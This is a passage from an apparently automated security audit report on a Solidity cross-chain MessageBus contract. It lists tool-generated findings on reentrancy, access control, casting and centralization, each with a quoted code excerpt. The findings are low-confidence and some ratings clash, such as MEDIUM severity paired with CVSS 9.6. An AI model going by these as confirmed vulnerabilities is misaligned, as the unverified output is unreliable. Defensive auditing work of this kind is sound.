39 |       * @notice Permissioned method to support upgrades to the library
40 |       * @param _nodegroup address which has authentication to execute messages
41 |       */

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-028. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:69
Status	Open (33% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

64 |
65 |     /**
66 |      * @notice Returns srcGasToken fee to charge in wei for the cross-chain
message based on the gas limit
67 |      * @param _options Versioned struct used to instruct relayer on how to
proceed with gas limits. Contains data on gas limit to submit tx with.
68 |      */
>> 69 |     function estimateGasFee(uint256 _dstChainId, bytes calldata _options)
external returns (uint256);
70 | }
71 |
72 | // messaging/interfaces/ISynMessagingReceiver.sol
73 |
74 | interface ISynMessagingReceiver {

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-029. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:125
Status	Open (33% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
120 | }
121 |
122 | /**
123 |  * @dev Returns the address of the current owner.
124 |  */
>> 125 | function owner() public view virtual returns (address) {
126 |     return _owner;
127 | }
128 |
129 | /**
130 |  * @dev Throws if called by any account other than the owner.
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-030. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:202
Status	Open (33% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

197 |         bytes calldata _message
198 |     ) public view returns (bytes32) {
199 |         return keccak256(abi.encode(_srcAddress, _srcChainId, _dstAddress,
    _dstChainId, _srcNonce, _message));
200 |     }
201 |
>> 202 |     function estimateFee(uint256 _dstChainId, bytes calldata _options) public
returns (uint256) {
203 |         uint256 fee =
IGasFeePricing(gasFeePricing).estimateGasFee(_dstChainId, _options);
204 |         require(fee != 0, "Fee not set");
205 |         return fee;
206 |     }
207 |

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-031. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:295
Status	Open (33% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

290 |
291 |     constructor(address _authVerifier) {
292 |         authVerifier = _authVerifier;
293 |     }
294 |
>> 295 |     function getExecutedMessage(bytes32 _messageId) external view returns
(TxStatus) {
296 |         return executedMessages[_messageId];
297 |     }
298 |
299 |     /**
300 |      * @notice Relay executes messages through an authenticated method to
the destination receiver

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-032. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:42
Status	Open (33% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

37 |
38 |     /**
39 |      * @notice Permissioned method to support upgrades to the library
40 |      * @param _nodegroup address which has authentication to execute messages
41 |      */
>> 42 |     function setNodeGroup(address _nodegroup) external;
43 | }
44 |
45 | // messaging/interfaces/IGasFeePricing.sol
46 |
47 | interface IGasFeePricing {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-033. state_invariant_break

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:248
Status	Open (33% conf.)
Detected By	scribble

Description

State invariant may break during execution - intermediate state accessible via reentrancy

Vulnerable Code

```

243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
245 |      function withdrawGasFees(address payable to) external onlyOwner {
246 |          uint256 withdrawAmount = fees;
247 |          // Reset fees to 0
>> 248 |          to.transfer(withdrawAmount);
249 |          delete fees;
250 |      }
251 |
252 |      /**
253 |          * @notice Rescues any gas in contract, aside from fees

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

References

- OWASP Smart Contract Top 10

F-034. state_invariant_break

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:258
Status	Open (33% conf.)
Detected By	scribble

Description

State invariant may break during execution - intermediate state accessible via reentrancy

Vulnerable Code

```

253 |      * @notice Rescues any gas in contract, aside from fees
254 |      * @param to Address to which to rescue gas to
255 |      */
256 |      function rescueGas(address payable to) external onlyOwner {
257 |          uint256 withdrawAmount = address(this).balance - fees;
>> 258 |          to.transfer(withdrawAmount);
259 |      }
260 |
261 |      function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |          require(_gasFeePricing != address(0), "Cannot set to 0");
263 |          gasFeePricing = _gasFeePricing;

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

References

- OWASP Smart Contract Top 10

F-035. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:36
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

31 |  /**
32 |  * @notice Authentication library to allow the validator network to
execute cross-chain messages.
33 |  * @param _authData A bytes32 address encoded via abi.encode(address)
34 |  * @return authenticated returns true if bytes data submitted and decoded
to the address is correct
35 |  */
>> 36 |  function msgAuth(bytes calldata _authData) external view returns (bool
authenticated);
37 |
38 |  /**
39 |  * @notice Permissioned method to support upgrades to the library
40 |  * @param _nodegroup address which has authentication to execute messages
41 |  */

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-036. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:42
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

37 |
38 |     /**
39 |      * @notice Permissioned method to support upgrades to the library
40 |      * @param _nodegroup address which has authentication to execute messages
41 |      */
>> 42 |     function setNodeGroup(address _nodegroup) external;
43 | }
44 |
45 | // messaging/interfaces/IGasFeePricing.sol
46 |
47 | interface IGasFeePricing {

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-037. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO

PROPERTY	VALUE
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:69
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

64 |
65 |     /**
66 |      * @notice Returns srcGasToken fee to charge in wei for the cross-chain
message based on the gas limit
67 |      * @param _options Versioned struct used to instruct relayer on how to
proceed with gas limits. Contains data on gas limit to submit tx with.
68 |      */
>> 69 |      function estimateGasFee(uint256 _dstChainId, bytes calldata _options)
external returns (uint256);
70 |  }
71 |
72 |  // messaging/interfaces/ISynMessagingReceiver.sol
73 |
74 |  interface ISynMessagingReceiver {

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-038. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	

PROPERTY	VALUE
CVSS Score	3.1
Confidence	20%
Location	<code>/home/hero/audit_workspace/MessageBus.flat.sol:125</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

120 |     }
121 |
122 |     /**
123 |      * @dev Returns the address of the current owner.
124 |      */
>> 125 |     function owner() public view virtual returns (address) {
126 |         return _owner;
127 |     }
128 |
129 |     /**
130 |      * @dev Throws if called by any account other than the owner.
```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-039. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/MessageBus.flat.sol:144
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

139 |      * `onlyOwner` functions anymore. Can only be called by the current owner.
140 |      *
141 |      * NOTE: Renouncing ownership will leave the contract without an owner,
142 |      * thereby removing any functionality that is only available to the owner.
143 |      */
>> 144 |      function renounceOwnership() public virtual onlyOwner {
145 |          _transferOwnership(address(0));
146 |      }
147 |
148 |      /**
149 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-040. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:152
Status	Open (20% conf.)

PROPERTY	VALUE
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

147 |
148 | /**
149 |  * @dev Transfers ownership of the contract to a new account (`newOwner`).
150 |  * Can only be called by the current owner.
151 |  */
>> 152 | function transferOwnership(address newOwner) public virtual onlyOwner {
153 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
154 |         _transferOwnership(newOwner);
155 |     }
156 |
157 | /**

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-041. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:202
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

197 |         bytes calldata _message
198 |     ) public view returns (bytes32) {
199 |         return keccak256(abi.encode(_srcAddress, _srcChainId, _dstAddress,
    _dstChainId, _srcNonce, _message));
200 |     }
201 |
>> 202 |     function estimateFee(uint256 _dstChainId, bytes calldata _options) public
returns (uint256) {
203 |         uint256 fee =
IGasFeePricing(gasFeePricing).estimateGasFee(_dstChainId, _options);
204 |         require(fee != 0, "Fee not set");
205 |         return fee;
206 |     }
207 |

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-042. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:245
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

240 |
241 |     /**
242 |      * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
>> 245 |     function withdrawGasFees(address payable to) external onlyOwner {
246 |         uint256 withdrawAmount = fees;
247 |         // Reset fees to 0
248 |         to.transfer(withdrawAmount);
249 |         delete fees;
250 |     }

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-043. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:256
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

251 |
252 |     /**
253 |      * @notice Rescues any gas in contract, aside from fees
254 |      * @param to Address to which to rescue gas to

```

```

255 |    */
>> 256 |    function rescueGas(address payable to) external onlyOwner {
257 |        uint256 withdrawAmount = address(this).balance - fees;
258 |        to.transfer(withdrawAmount);
259 |    }
260 |
261 |    function updateGasFeePricing(address _gasFeePricing) public onlyOwner {

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-044. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:261
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

256 |    function rescueGas(address payable to) external onlyOwner {
257 |        uint256 withdrawAmount = address(this).balance - fees;
258 |        to.transfer(withdrawAmount);
259 |    }
260 |
>> 261 |    function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |        require(_gasFeePricing != address(0), "Cannot set to 0");
263 |        gasFeePricing = _gasFeePricing;
264 |    }
265 | }
266 |

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-045. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:295
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

290 |
291 |     constructor(address _authVerifier) {
292 |         authVerifier = _authVerifier;
293 |     }
294 |
>> 295 |     function getExecutedMessage(bytes32 _messageId) external view returns
(TxStatus) {
296 |         return executedMessages[_messageId];
297 |     }
298 |
299 |     /**
300 |      * @notice Relay executes messages through an authenticated method to
the destination receiver

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-046. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:362
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

357 |         return abi.decode(_returnData, (string)); // All that remains is the
revert string
358 |     }
359 |
360 |     /** CONTRACT CONFIG */
361 |
>> 362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-047. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:366
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

361 |
362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
>> 366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");
368 |         authVerifier = _authVerifier;
369 |     }
370 | }
371 |

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-048. reentrancy-state-change

PROPERTY	VALUE
Severity	HIGH
Category	
CVSS Score	9.6
Confidence	52%
Location	MessageBus.flat.sol:248 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

Vulnerable Code

```

243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
245 |      function withdrawGasFees(address payable to) external onlyOwner {
246 |          uint256 withdrawAmount = fees;
247 |          // Reset fees to 0
>> 248 |          to.transfer(withdrawAmount);
249 |          delete fees;
250 |      }
251 |
252 |      /**
253 |      * @notice Rescues any gas in contract, aside from fees

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

References

- SWC-107
- OWASP Smart Contract Top 10

F-049. reentrancy-state-change

PROPERTY	VALUE
Severity	HIGH
Category	
CVSS Score	9.6
Confidence	52%
Location	MessageBus.flat.sol:322 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

Vulnerable Code

```

317 |          // In order to guarentee that an individual message is only executed
once, a messageId is passed
318 |          // enforce that this message ID hasn't already been tried ever
319 |          bytes32 messageId = _messageId;
320 |          require(executedMessages[messageId] == TxStatus.Null, "Message already
executed");
321 |          // Authenticate executeMessage, will revert if not authenticated
>> 322 |          IAuthVerifier(authVerifier).msgAuth(abi.encode(msg.sender));
323 |          // Message is now in-flight, adjust status
324 |          // executedMessages[messageId] = TxStatus.Pending;
325 |
326 |          TxStatus status;
327 |          try

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

References

- SWC-107
- OWASP Smart Contract Top 10

F-050. reentrancy-state-change

PROPERTY	VALUE
Severity	HIGH
Category	
CVSS Score	9.6
Confidence	52%
Location	MessageBus.flat.sol:327 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

Vulnerable Code

```

322 |         IAuthVerifier(authVerifier).msgAuth(abi.encode(msg.sender));
323 |         // Message is now in-flight, adjust status
324 |         // executedMessages[messageId] = TxStatus.Pending;
325 |
326 |         TxStatus status;
>> 327 |         try
328 |             ISynMessagingReceiver(_dstAddress).executeMessage{gas: _gasLimit}(
329 |                 _srcAddress,
330 |                 _srcChainId,
331 |                 _message,
332 |                 msg.sender

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

References

- SWC-107
- OWASP Smart Contract Top 10

F-051. unsafe-casting

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:344 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Downcasting int/uints in Solidity can be unsafe due to the potential for data loss and unintended behavior. When downcasting a larger integer type to a smaller one (e.g., uint256 to uint128), the value may exceed the range of the target type, leading to truncation and loss of significant digits. Use OpenZeppelin's SafeCast library to safely downcast integers.

Vulnerable Code

```

339 |             emit CallReverted(getRevertMsg(reason));
340 |             status = TxStatus.Fail;
341 |         }
342 |
343 |         executedMessages[messageId] = status;
>> 344 |         emit Executed(messageId, status, _dstAddress, uint64(_srcChainId),
uint64(_nonce));
345 |     }
346 |
347 |     /** HELPER VIEW FUNCTION */
348 |     // https://ethereum.stackexchange.com/a/83577
349 |     // https://github.com/Uniswap/v3-periphery/blob/v1.0.0/contracts/base/
Multicall.sol

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-052. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:144 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```

139 |      * `onlyOwner` functions anymore. Can only be called by the current owner.
140 |      *
141 |      * NOTE: Renouncing ownership will leave the contract without an owner,
142 |      * thereby removing any functionality that is only available to the owner.
143 |      */
>> 144 |      function renounceOwnership() public virtual onlyOwner {
145 |          _transferOwnership(address(0));
146 |      }
147 |
148 |      /**
149 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-053. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:152 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```

147 |
148 |     /**
149 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).
150 |      * Can only be called by the current owner.
151 |      */
>> 152 |     function transferOwnership(address newOwner) public virtual onlyOwner {
153 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
154 |         _transferOwnership(newOwner);
155 |     }
156 |
157 |     /**

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-054. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:170 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```
165 |     }
166 | }
167 |
168 | // messaging/MessageBusSender.sol
169 |
>> 170 | contract MessageBusSender is Ownable {
171 |     address public gasFeePricing;
172 |     uint64 public nonce;
173 |     uint256 public fees;
174 |
175 |     constructor(address _gasFeePricing) {
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-055. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:245 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```

240 |
241 |     /**
242 |      * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
>> 245 |     function withdrawGasFees(address payable to) external onlyOwner {
246 |         uint256 withdrawAmount = fees;
247 |         // Reset fees to 0
248 |         to.transfer(withdrawAmount);
249 |         delete fees;
250 |     }

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-056. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:256 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```

251 |
252 |     /**
253 |      * @notice Rescues any gas in contract, aside from fees
254 |      * @param to Address to which to rescue gas to
255 |      */
>> 256 |     function rescueGas(address payable to) external onlyOwner {
257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-057. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:261 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```

256 |     function rescueGas(address payable to) external onlyOwner {
257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
>> 261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |         require(_gasFeePricing != address(0), "Cannot set to 0");
263 |         gasFeePricing = _gasFeePricing;
264 |     }
265 | }
266 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-058. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:269 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```
264 |     }
265 | }
266 |
267 | // messaging/MessageBusReceiver.sol
268 |
>> 269 | contract MessageBusReceiver is Ownable {
270 |     address public authVerifier;
271 |
272 |     enum TxStatus {
273 |         Null,
274 |         Success,
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-059. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:362 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```

357 |         return abi.decode(_returnData, (string)); // All that remains is the
revert string
358 |     }
359 |
360 |     /** CONTRACT CONFIG */
361 |
>> 362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-060. centralization-risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:366 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```

361 |
362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
>> 366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");
368 |         authVerifier = _authVerifier;
369 |     }
370 | }
371 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- OWASP Smart Contract Top 10

F-061. state-change-without-event

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:245 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Vulnerable Code

```

240 |
241 |     /**
242 |      * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
>> 245 |     function withdrawGasFees(address payable to) external onlyOwner {
246 |         uint256 withdrawAmount = fees;
247 |         // Reset fees to 0
248 |         to.transfer(withdrawAmount);
249 |         delete fees;
250 |     }

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-062. state-change-without-event

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:261 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Vulnerable Code

